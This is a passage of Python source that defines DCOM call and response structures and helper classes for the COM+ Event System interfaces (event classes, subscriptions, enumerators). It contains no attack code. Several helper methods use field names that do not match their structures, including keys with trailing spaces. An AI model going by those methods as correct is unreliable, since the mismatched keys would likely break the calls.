structure = ( ('bstrEventClassName', BSTR), ) class IEventClass_put_EventClassNameResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.2.5 get_OwnerSID (Opnum 11) class IEventClass_get_OwnerSID(DCOMCALL): opnum = 11 structure = ( ) class IEventClass_get_OwnerSIDResponse(DCOMANSWER): structure = ( ('pbstrOwnerSID', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.2.6 put_OwnerSID (Opnum 12) class IEventClass_put_OwnerSID(DCOMCALL): opnum = 12 structure = ( ('bstrOwnerSID', BSTR), ) class IEventClass_put_OwnerSIDResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.2.7 get_FiringInterfaceID (Opnum 13) class IEventClass_get_FiringInterfaceID(DCOMCALL): opnum = 13 structure = ( ) class IEventClass_get_FiringInterfaceIDResponse(DCOMANSWER): structure = ( ('pbstrFiringInterfaceID', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.2.8 put_FiringInterfaceID (Opnum 14) class IEventClass_put_FiringInterfaceID(DCOMCALL): opnum = 14 structure = ( ('bstrFiringInterfaceID', BSTR), ) class IEventClass_put_FiringInterfaceIDResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.2.9 get_Description (Opnum 15) class IEventClass_get_Description(DCOMCALL): opnum = 15 structure = ( ) class IEventClass_get_DescriptionResponse(DCOMANSWER): structure = ( ('pbstrDescription', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.2.10 put_Description (Opnum 16) class IEventClass_put_Description(DCOMCALL): opnum = 16 structure = ( ('bstrDescription', BSTR), ) class IEventClass_put_DescriptionResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.2.11 get_TypeLib (Opnum 19) class IEventClass_get_TypeLib(DCOMCALL): opnum = 19 structure = ( ) class IEventClass_get_TypeLibResponse(DCOMANSWER): structure = ( ('pbstrTypeLib', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.2.12 put_TypeLib (Opnum 20) class IEventClass_put_TypeLib(DCOMCALL): opnum = 20 structure = ( ('bstrTypeLib', BSTR), ) class IEventClass_put_TypeLibResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) ################################################################################ # 3.1.4.3 IEventClass2 # 3.1.4.3.1 get_PublisherID (Opnum 21) class IEventClass2_get_PublisherID(DCOMCALL): opnum = 21 structure = ( ) class IEventClass2_get_PublisherIDResponse(DCOMANSWER): structure = ( ('pbstrSubscriptionID', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.3.2 put_PublisherID (Opnum 22) class IEventClass2_put_PublisherID(DCOMCALL): opnum = 22 structure = ( ('bstrPublisherID', BSTR), ) class IEventClass2_put_PublisherIDResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.3.3 get_MultiInterfacePublisherFilterCLSID (Opnum 23) class IEventClass2_get_MultiInterfacePublisherFilterCLSID(DCOMCALL): opnum = 23 structure = ( ) class IEventClass2_get_MultiInterfacePublisherFilterCLSIDResponse(DCOMANSWER): structure = ( ('pbstrPubFilCLSID', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.3.4 put_MultiInterfacePublisherFilterCLSID (Opnum 24) class IEventClass2_put_MultiInterfacePublisherFilterCLSID(DCOMCALL): opnum = 24 structure = ( ('bstrPubFilCLSID', BSTR), ) class IEventClass2_put_MultiInterfacePublisherFilterCLSIDResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.3.5 get_AllowInprocActivation (Opnum 25) class IEventClass2_get_AllowInprocActivation(DCOMCALL): opnum = 25 structure = ( ) class IEventClass2_get_AllowInprocActivationResponse(DCOMANSWER): structure = ( ('pfAllowInprocActivation', BOOLEAN), ('ErrorCode', error_status_t), ) # 3.1.4.3.6 put_AllowInprocActivation (Opnum 26) class IEventClass2_put_AllowInprocActivation(DCOMCALL): opnum = 26 structure = ( ('fAllowInprocActivation', BOOLEAN), ) class IEventClass2_put_AllowInprocActivationResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.3.7 get_FireInParallel (Opnum 27) class IEventClass2_get_FireInParallel(DCOMCALL): opnum = 27 structure = ( ) class IEventClass2_get_FireInParallelResponse(DCOMANSWER): structure = ( ('pfFireInParallel', BOOLEAN), ('ErrorCode', error_status_t), ) # 3.1.4.3.8 put_FireInParallel (Opnum 28) class IEventClass2_put_FireInParallel(DCOMCALL): opnum = 28 structure = ( ('pfFireInParallel', BOOLEAN), ) class IEventClass2_put_FireInParallelResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) ################################################################################ # 3.1.4.4 IEventSubscription # 3.1.4.4.1 get_SubscriptionID (Opnum 7) class IEventSubscription_get_SubscriptionID(DCOMCALL): opnum = 7 structure = ( ) class IEventSubscription_get_SubscriptionIDResponse(DCOMANSWER): structure = ( ('pbstrSubscriptionID', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.4.2 put_SubscriptionID (Opnum 8) class IEventSubscription_put_SubscriptionID(DCOMCALL): opnum = 8 structure = ( ('bstrSubscriptionID', BSTR), ) class IEventSubscription_put_SubscriptionIDResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.4.3 get_SubscriptionName (Opnum 9) class IEventSubscription_get_SubscriptionName(DCOMCALL): opnum = 9 structure = ( ) class IEventSubscription_get_SubscriptionNameResponse(DCOMANSWER): structure = ( ('pbstrSubscriptionName', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.4.4 put_SubscriptionName (Opnum 10) class IEventSubscription_put_SubscriptionName(DCOMCALL): opnum = 10 structure = ( ('strSubscriptionID', BSTR), ) class IEventSubscription_put_SubscriptionNameResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.4.5 get_PublisherID (Opnum 11) class IEventSubscription_get_PublisherID(DCOMCALL): opnum = 11 structure = ( ) class IEventSubscription_get_PublisherIDResponse(DCOMANSWER): structure = ( ('pbstrPublisherID', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.4.6 put_PublisherID (Opnum 12) class IEventSubscription_put_PublisherID(DCOMCALL): opnum = 12 structure = ( ('bstrPublisherID', BSTR), ) class IEventSubscription_put_PublisherIDResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.4.7 get_EventClassID (Opnum 13) class IEventSubscription_get_EventClassID(DCOMCALL): opnum = 13 structure = ( ) class IEventSubscription_get_EventClassIDResponse(DCOMANSWER): structure = ( ('pbstrEventClassID', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.4.8 put_EventClassID (Opnum 14) class IEventSubscription_put_EventClassID(DCOMCALL): opnum = 14 structure = ( ('bstrEventClassID', BSTR), ) class IEventSubscription_put_EventClassIDResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.4.9 get_MethodName (Opnum 15) class IEventSubscription_get_MethodName(DCOMCALL): opnum = 15 structure = ( ) class IEventSubscription_get_MethodNameResponse(DCOMANSWER): structure = ( ('pbstrMethodName', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.4.10 put_MethodName (Opnum 16) class IEventSubscription_put_MethodName(DCOMCALL): opnum = 16 structure = ( ('bstrMethodName', BSTR), ) class IEventSubscription_put_MethodNameResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.4.11 get_SubscriberCLSID (Opnum 17) class IEventSubscription_get_SubscriberCLSID(DCOMCALL): opnum = 17 structure = ( ) class IEventSubscription_get_SubscriberCLSIDResponse(DCOMANSWER): structure = ( ('pbstrSubscriberCLSID', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.4.12 put_SubscriberCLSID (Opnum 18) class IEventSubscription_put_SubscriberCLSID(DCOMCALL): opnum = 18 structure = ( ('bstrSubscriberCLSID', BSTR), ) class IEventSubscription_put_SubscriberCLSIDResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.4.13 get_SubscriberInterface (Opnum 19) class IEventSubscription_get_SubscriberInterface(DCOMCALL): opnum = 19 structure = ( ) class IEventSubscription_get_SubscriberInterfaceResponse(DCOMANSWER): structure = ( ('ppSubscriberInterface', PMInterfacePointer), ('ErrorCode', error_status_t), ) # 3.1.4.4.14 put_SubscriberInterface (Opnum 20) class IEventSubscription_put_SubscriberInterface(DCOMCALL): opnum = 20 structure = ( ('pSubscriberInterface', PMInterfacePointer), ) class IEventSubscription_put_SubscriberInterfaceResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.4.15 get_PerUser (Opnum 21) class IEventSubscription_get_PerUser(DCOMCALL): opnum = 21 structure = ( ) class IEventSubscription_get_PerUserResponse(DCOMANSWER): structure = ( ('pfPerUser', BOOLEAN), ('ErrorCode', error_status_t), ) # 3.1.4.4.16 put_PerUser (Opnum 22) class IEventSubscription_put_PerUser(DCOMCALL): opnum = 22 structure = ( ('fPerUser', BOOLEAN), ) class IEventSubscription_put_PerUserResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.4.17 get_OwnerSID (Opnum 23) class IEventSubscription_get_OwnerSID(DCOMCALL): opnum = 23 structure = ( ) class IEventSubscription_get_OwnerSIDResponse(DCOMANSWER): structure = ( ('pbstrOwnerSID', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.4.18 put_OwnerSID (Opnum 24) class IEventSubscription_put_OwnerSID(DCOMCALL): opnum = 24 structure = ( ('bstrOwnerSID', BSTR), ) class IEventSubscription_put_OwnerSIDResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.4.19 get_Enabled (Opnum 25) class IEventSubscription_get_Enabled(DCOMCALL): opnum = 25 structure = ( ) class IEventSubscription_get_EnabledResponse(DCOMANSWER): structure = ( ('pfEnabled', BOOLEAN), ('ErrorCode', error_status_t), ) # 3.1.4.4.20 put_Enabled (Opnum 26) class IEventSubscription_put_Enabled(DCOMCALL): opnum = 26 structure = ( ('fEnabled', BOOLEAN), ) class IEventSubscription_put_EnabledResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.4.21 get_Description (Opnum 27) class IEventSubscription_get_Description(DCOMCALL): opnum = 27 structure = ( ) class IEventSubscription_get_DescriptionResponse(DCOMANSWER): structure = ( ('pbstrDescription', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.4.22 put_Description (Opnum 28) class IEventSubscription_put_Description(DCOMCALL): opnum = 28 structure = ( ('bstrDescription', BSTR), ) class IEventSubscription_put_DescriptionResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.4.23 get_MachineName (Opnum 29) class IEventSubscription_get_MachineName(DCOMCALL): opnum = 29 structure = ( ) class IEventSubscription_get_MachineNameResponse(DCOMANSWER): structure = ( ('pbstrMachineName', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.4.24 put_MachineName (Opnum 30) class IEventSubscription_put_MachineName(DCOMCALL): opnum = 30 structure = ( ('bstrMachineName', BSTR), ) class IEventSubscription_put_MachineNameResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.4.25 GetPublisherProperty (Opnum 31) class IEventSubscription_GetPublisherProperty(DCOMCALL): opnum = 31 structure = ( ('bstrPropertyName', BSTR), ) class IEventSubscription_GetPublisherPropertyResponse(DCOMANSWER): structure = ( ('propertyValue', VARIANT), ('ErrorCode', error_status_t), ) # 3.1.4.4.26 PutPublisherProperty (Opnum 32) class IEventSubscription_PutPublisherProperty(DCOMCALL): opnum = 32 structure = ( ('bstrPropertyName', BSTR), ('propertyValue', VARIANT), ) class IEventSubscription_PutPublisherPropertyResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.4.27 RemovePublisherProperty (Opnum 33) class IEventSubscription_RemovePublisherProperty(DCOMCALL): opnum = 33 structure = ( ('bstrPropertyName', BSTR), ) class IEventSubscription_RemovePublisherPropertyResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.4.28 GetPublisherPropertyCollection (Opnum 34) class IEventSubscription_GetPublisherPropertyCollection(DCOMCALL): opnum = 34 structure = ( ) class IEventSubscription_GetPublisherPropertyCollectionResponse(DCOMANSWER): structure = ( ('collection', PMInterfacePointer), ('ErrorCode', error_status_t), ) # 3.1.4.4.29 GetSubscriberProperty (Opnum 35) class IEventSubscription_GetSubscriberProperty(DCOMCALL): opnum = 35 structure = ( ('bstrPropertyName', BSTR), ) class IEventSubscription_GetSubscriberPropertyResponse(DCOMANSWER): structure = ( ('propertyValue', VARIANT), ('ErrorCode', error_status_t), ) # 3.1.4.4.30 PutSubscriberProperty (Opnum 36) class IEventSubscription_PutSubscriberProperty(DCOMCALL): opnum = 36 structure = ( ('bstrPropertyName', BSTR), ('propertyValue', VARIANT), ) class IEventSubscription_PutSubscriberPropertyResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.4.31 RemoveSubscriberProperty (Opnum 37) class IEventSubscription_RemoveSubscriberProperty(DCOMCALL): opnum = 37 structure = ( ('bstrPropertyName', BSTR), ) class IEventSubscription_RemoveSubscriberPropertyResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.4.32 GetSubscriberPropertyCollection (Opnum 38) class IEventSubscription_GetSubscriberPropertyCollection(DCOMCALL): opnum = 38 structure = ( ) class IEventSubscription_GetSubscriberPropertyCollectionResponse(DCOMANSWER): structure = ( ('collection', PMInterfacePointer), ('ErrorCode', error_status_t), ) # 3.1.4.4.33 get_InterfaceID (Opnum 39) class IEventSubscription_get_InterfaceID(DCOMCALL): opnum = 39 structure = ( ) class IEventSubscription_get_InterfaceIDResponse(DCOMANSWER): structure = ( ('pbstrInterfaceID', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.4.34 put_InterfaceID (Opnum 40) class IEventSubscription_put_InterfaceID(DCOMCALL): opnum = 40 structure = ( ('bstrInterfaceID', BSTR), ) class IEventSubscription_put_InterfaceIDResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) ################################################################################ # 3.1.4.5 IEnumEventObject # 3.1.4.5.1 Clone (Opnum 3) class IEnumEventObject_Clone(DCOMCALL): opnum = 3 structure = ( ) class IEnumEventObject_CloneResponse(DCOMANSWER): structure = ( ('ppInterface', PMInterfacePointer), ('ErrorCode', error_status_t), ) # 3.1.4.5.2 Next (Opnum 4) class IEnumEventObject_Next(DCOMCALL): opnum = 4 structure = ( ('cReqElem', ULONG), ) class IEnumEventObject_NextResponse(DCOMANSWER): structure = ( ('ppInterface', OBJECT_ARRAY), ('cRetElem', ULONG), ('ErrorCode', error_status_t), ) # 3.1.4.5.3 Reset (Opnum 5) class IEnumEventObject_Reset(DCOMCALL): opnum = 5 structure = ( ) class IEnumEventObject_ResetResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.5.4 Skip (Opnum 6) class IEnumEventObject_Skip(DCOMCALL): opnum = 6 structure = ( ('cSkipElem', ULONG), ) class IEnumEventObject_SkipResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) ################################################################################ # 3.1.4.6 IEventObjectCollection # 3.1.4.6.1 get__NewEnum (Opnum 7) class IEventObjectCollection_get__NewEnum(DCOMCALL): opnum = 7 structure = ( ) class IEventObjectCollection_get__NewEnumResponse(DCOMANSWER): structure = ( ('ppUnkEnum', PMInterfacePointer), ('ErrorCode', error_status_t), ) # 3.1.4.6.2 get_Item (Opnum 8) class IEventObjectCollection_get_Item(DCOMCALL): opnum = 8 structure = ( ('objectID', BSTR), ) class IEventObjectCollection_get_ItemResponse(DCOMANSWER): structure = ( ('pItem', VARIANT), ('ErrorCode', error_status_t), ) # 3.1.4.6.3 get_NewEnum (Opnum 9) class IEventObjectCollection_get_NewEnum(DCOMCALL): opnum = 9 structure = ( ) class IEventObjectCollection_get_NewEnumResponse(DCOMANSWER): structure = ( ('ppEnum', PMInterfacePointer), ('ErrorCode', error_status_t), ) # 3.1.4.6.4 get_Count (Opnum 10) class IEventObjectCollection_get_Count(DCOMCALL): opnum = 10 structure = ( ) class IEventObjectCollection_get_CountResponse(DCOMANSWER): structure = ( ('pCount', LONG), ('ErrorCode', error_status_t), ) # 3.1.4.6.5 Add (Opnum 11) class IEventObjectCollection_Add(DCOMCALL): opnum = 11 structure = ( ('item', VARIANT), ('objectID', BSTR), ) class IEventObjectCollection_AddResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.6.6 Remove (Opnum 12) class IEventObjectCollection_Remove(DCOMCALL): opnum = 12 structure = ( ('objectID', BSTR), ) class IEventObjectCollection_RemoveResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) ################################################################################ # 3.1.4.7 IEventClass3 # 3.1.4.7.1 get_EventClassPartitionID (Opnum 29) class IEventClass3_get_EventClassPartitionID(DCOMCALL): opnum = 29 structure = ( ) class IEventClass3_get_EventClassPartitionIDResponse(DCOMANSWER): structure = ( ('pbstrEventClassPartitionID', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.7.2 put_EventClassPartitionID (Opnum 30) class IEventClass3_put_EventClassPartitionID(DCOMCALL): opnum = 30 structure = ( ('bstrEventClassPartitionID', BSTR), ) class IEventClass3_put_EventClassPartitionIDResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.7.3 get_EventClassApplicationID (Opnum 31) class IEventClass3_get_EventClassApplicationID(DCOMCALL): opnum = 31 structure = ( ) class IEventClass3_get_EventClassApplicationIDResponse(DCOMANSWER): structure = ( ('pbstrEventClassApplicationID', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.7.4 put_EventClassApplicationID (Opnum 32) class IEventClass3_put_EventClassApplicationID(DCOMCALL): opnum = 32 structure = ( ('bstrEventClassApplicationID', BSTR), ) class IEventClass3_put_EventClassApplicationIDResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) ################################################################################ # 3.1.4.8 IEventSubscription2 # 3.1.4.8.1 get_FilterCriteria (Opnum 41) class IEventSubscription2_get_FilterCriteria(DCOMCALL): opnum = 41 structure = ( ) class IEventSubscription2_get_FilterCriteriaResponse(DCOMANSWER): structure = ( ('pbstrFilterCriteria', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.8.2 put_FilterCriteria (Opnum 42) class IEventSubscription2_put_FilterCriteria(DCOMCALL): opnum = 42 structure = ( ('bstrFilterCriteria', BSTR), ) class IEventSubscription2_put_FilterCriteriaResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.8.3 get_SubscriberMoniker (Opnum 43) class IEventSubscription2_get_SubscriberMoniker(DCOMCALL): opnum = 43 structure = ( ) class IEventSubscription2_get_SubscriberMonikerResponse(DCOMANSWER): structure = ( ('pbstrMoniker', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.8.4 put_SubscriberMoniker (Opnum 44) class IEventSubscription2_put_SubscriberMoniker(DCOMCALL): opnum = 44 structure = ( ('bstrMoniker', BSTR), ) class IEventSubscription2_put_SubscriberMonikerResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) ################################################################################ # 3.1.4.9 IEventSubscription3 # 3.1.4.9.1 get_EventClassPartitionID (Opnum 45) class IEventSubscription3_get_EventClassPartitionID(DCOMCALL): opnum = 45 structure = ( ) class IEventSubscription3_get_EventClassPartitionIDResponse(DCOMANSWER): structure = ( ('pbstrEventClassPartitionID', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.9.2 put_EventClassPartitionID (Opnum 46) class IEventSubscription3_put_EventClassPartitionID(DCOMCALL): opnum = 46 structure = ( ('bstrEventClassPartitionID', BSTR), ) class IEventSubscription3_put_EventClassPartitionIDResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.9.3 get_EventClassApplicationID (Opnum 47) class IEventSubscription3_get_EventClassApplicationID(DCOMCALL): opnum = 47 structure = ( ) class IEventSubscription3_get_EventClassApplicationIDResponse(DCOMANSWER): structure = ( ('pbstrEventClassApplicationID', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.9.4 put_EventClassApplicationID (Opnum 48) class IEventSubscription3_put_EventClassApplicationID(DCOMCALL): opnum = 48 structure = ( ('bstrEventClassPartitionID', BSTR), ) class IEventSubscription3_put_EventClassApplicationIDResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.9.5 get_SubscriberPartitionID (Opnum 49) class IEventSubscription3_get_SubscriberPartitionID(DCOMCALL): opnum = 49 structure = ( ) class IEventSubscription3_get_SubscriberPartitionIDResponse(DCOMANSWER): structure = ( ('pbstrSubscriberPartitionID', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.9.6 put_SubscriberPartitionID (Opnum 50) class IEventSubscription3_put_SubscriberPartitionID(DCOMCALL): opnum = 50 structure = ( ('bstrSubscriberPartitionID', BSTR), ) class IEventSubscription3_put_SubscriberPartitionIDResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) # 3.1.4.9.7 get_SubscriberApplicationID (Opnum 51) class IEventSubscription3_get_SubscriberApplicationID(DCOMCALL): opnum = 51 structure = ( ) class IEventSubscription3_get_SubscriberApplicationIDResponse(DCOMANSWER): structure = ( ('pbstrSubscriberApplicationID', BSTR), ('ErrorCode', error_status_t), ) # 3.1.4.9.8 put_SubscriberApplicationID (Opnum 52) class IEventSubscription3_put_SubscriberApplicationID(DCOMCALL): opnum = 52 structure = ( ('bstrSubscriberApplicationID', BSTR), ) class IEventSubscription3_put_SubscriberApplicationIDResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) ################################################################################ # 3.1.4.10 IEventSystem2 # 3.1.4.10.1 GetVersion (Opnum 13) class IEventSystem2_GetVersion(DCOMCALL): opnum = 13 structure = ( ) class IEventSystem2_GetVersionResponse(DCOMANSWER): structure = ( ('pnVersion', INT), ('ErrorCode', error_status_t), ) # 3.1.4.10.2 VerifyTransientSubscribers (Opnum 14) class IEventSystem2_VerifyTransientSubscribers(DCOMCALL): opnum = 14 structure = ( ) class IEventSystem2_VerifyTransientSubscribersResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) ################################################################################ # 3.1.4.11 IEventSystemInitialize # 3.1.4.11.1 SetCOMCatalogBehaviour (Opnum 3) class IEventSystemInitialize_SetCOMCatalogBehaviour(DCOMCALL): opnum = 3 structure = ( ('bRetainSubKeys', BOOLEAN), ) class IEventSystemInitialize_SetCOMCatalogBehaviourResponse(DCOMANSWER): structure = ( ('ErrorCode', error_status_t), ) ################################################################################ # OPNUMs and their corresponding structures ################################################################################ OPNUMS = { } ################################################################################ # HELPER FUNCTIONS AND INTERFACES ################################################################################ class IEventClass(IDispatch): def __init__(self, interface): IDispatch.__init__(self,interface) self._iid = IID_IEventClass def get_EventClassID(self): request = IEventClass_get_EventClassID() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_EventClassID(self,bstrEventClassID): request = IEventClass_put_EventClassID() request['bstrEventClassID'] = bstrEventClassID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_EventClassName(self): request = IEventClass_get_EventClassName() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_EventClassName(self, bstrEventClassName): request = IEventClass_put_EventClassName() request['bstrEventClassName'] = bstrEventClassName resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_OwnerSID(self): request = IEventClass_get_OwnerSID() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_OwnerSID(self, bstrOwnerSID): request = IEventClass_put_OwnerSID() request['bstrOwnerSID'] = bstrOwnerSID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_FiringInterfaceID(self): request = IEventClass_get_FiringInterfaceID() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_FiringInterfaceID(self, bstrFiringInterfaceID): request = IEventClass_put_FiringInterfaceID() request['bstrFiringInterfaceID'] = bstrFiringInterfaceID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_Description(self): request = IEventClass_get_Description() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_Description(self, bstrDescription): request = IEventClass_put_Description() request['bstrDescription'] = bstrDescription resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_TypeLib(self): request = IEventClass_get_TypeLib() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_TypeLib(self, bstrTypeLib): request = IEventClass_put_TypeLib() request['bstrTypeLib'] = bstrTypeLib resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp class IEventClass2(IEventClass): def __init__(self, interface): IEventClass.__init__(self,interface) self._iid = IID_IEventClass2 def get_PublisherID(self): request = IEventClass2_get_PublisherID() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_PublisherID(self, bstrPublisherID): request = IEventClass2_put_PublisherID() request['bstrPublisherID'] = bstrPublisherID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_MultiInterfacePublisherFilterCLSID(self): request = IEventClass2_get_MultiInterfacePublisherFilterCLSID() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_MultiInterfacePublisherFilterCLSID(self, bstrPubFilCLSID): request = IEventClass2_put_MultiInterfacePublisherFilterCLSID() request['bstrPubFilCLSID'] = bstrPubFilCLSID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_AllowInprocActivation(self): request = IEventClass2_get_AllowInprocActivation() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_AllowInprocActivation(self, fAllowInprocActivation): request = IEventClass2_put_AllowInprocActivation() request['fAllowInprocActivation '] = fAllowInprocActivation resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_FireInParallel(self): request = IEventClass2_get_FireInParallel() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_FireInParallel(self, fFireInParallel): request = IEventClass2_put_FireInParallel() request['fFireInParallel '] = fFireInParallel resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp class IEventClass3(IEventClass2): def __init__(self, interface): IEventClass2.__init__(self,interface) self._iid = IID_IEventClass3 def get_EventClassPartitionID(self): request = IEventClass3_get_EventClassPartitionID() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_EventClassPartitionID(self, bstrEventClassPartitionID): request = IEventClass3_put_EventClassPartitionID() request['bstrEventClassPartitionID '] = bstrEventClassPartitionID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_EventClassApplicationID(self): request = IEventClass3_get_EventClassApplicationID() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_EventClassApplicationID(self, bstrEventClassApplicationID): request = IEventClass3_put_EventClassApplicationID() request['bstrEventClassApplicationID '] = bstrEventClassApplicationID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp class IEventSubscription(IDispatch): def __init__(self, interface): IDispatch.__init__(self,interface) self._iid = IID_IEventSubscription def get_SubscriptionID(self): request = IEventSubscription_get_SubscriptionID() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_SubscriptionID(self, bstrSubscriptionID): request = IEventSubscription_put_SubscriptionID() request['bstrSubscriptionID'] = bstrSubscriptionID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_SubscriptionName(self): request = IEventSubscription_get_SubscriptionName() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp def put_SubscriptionName(self, bstrSubscriptionName): request = IEventSubscription_put_SubscriptionName() request['bstrSubscriptionName'] = bstrSubscriptionName resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_PublisherID(self): request = IEventSubscription_get_PublisherID() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_PublisherID(self, bstrPublisherID): request = IEventSubscription_put_PublisherID() request['bstrPublisherID'] = bstrPublisherID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_EventClassID(self): request = IEventSubscription_get_EventClassID() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_EventClassID(self, pbstrEventClassID): request = IEventSubscription_put_EventClassID() request['pbstrEventClassID'] = pbstrEventClassID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_MethodName(self): request = IEventSubscription_get_MethodName() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_MethodName(self, bstrMethodName): request = IEventSubscription_put_MethodName() request['bstrMethodName'] = bstrMethodName resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_SubscriberCLSID(self): request = IEventSubscription_get_SubscriberCLSID() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_SubscriberCLSID(self, bstrSubscriberCLSID): request = IEventSubscription_put_SubscriberCLSID() request['bstrSubscriberCLSID'] = bstrSubscriberCLSID resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def get_SubscriberInterface(self): request = IEventSubscription_get_SubscriberInterface() resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def put_SubscriberInterface(self, pSubscriberInterface): request = 